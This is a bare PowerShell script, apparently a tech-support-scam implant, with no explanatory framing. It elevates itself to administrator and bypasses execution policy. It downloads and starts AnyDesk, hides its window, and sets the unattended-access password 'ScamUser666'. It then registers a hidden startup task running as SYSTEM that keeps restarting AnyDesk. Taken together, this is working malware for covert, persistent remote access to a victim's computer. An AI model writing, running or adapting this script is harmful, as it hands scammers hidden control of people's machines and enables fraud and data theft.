---

if(-NOT([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")){$p="-NoProfile -ExecutionPolicy Bypass -File `""+$MyInvocation.MyCommand.Path+"`"";Start-Process powershell.exe -Verb RunAs -ArgumentList $p;exit}$d=[Environment]::GetFolderPath("MyDocuments")+"\..\Downloads";if(-not(Test-Path $d)){$d="$env:USERPROFILE\Downloads"};Invoke-WebRequest -Uri "https://download.anydesk.com/AnyDesk.exe" -OutFile "$d\AnyDesk.exe";Start-Process "$d\AnyDesk.exe";Start-Sleep 5;(Get-Process "AnyDesk").MainWindowHandle|%{Add-Type -Name W -Namespace C -MemberDefinition '[DllImport("user32.dll")]static extern bool ShowWindow(IntPtr hWnd,int nCmdShow);';[C.W]::ShowWindow($_,0)};Start-Sleep 2;Start-Process cmd.exe -ArgumentList "/c cd /d `"$d`" && echo ScamUser666 | AnyDesk.exe --set-password" -Verb RunAs -Wait -WindowStyle Hidden;$taskName="AnyDeskWatch";$action=New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -Command `"`$p=@('AnyDesk.exe','anydesk.exe');while(`$true){sleep 10;`$r=`$false;foreach(`$i in `$p){if(Get-Process -Name `$i -ErrorAction SilentlyContinue){`$r=`$true;break}};if(!`$r){`$f=@('$d\AnyDesk.exe');if(Test-Path `$f[0]){Start-Process -FilePath `$f[0] -WindowStyle Hidden}}}`"";Register-ScheduledTask -TaskName $taskName -Action $action -Trigger (New-ScheduledTaskTrigger -AtStartup) -User "SYSTEM" -RunLevel Highest -Force;Start-ScheduledTask -TaskName $taskName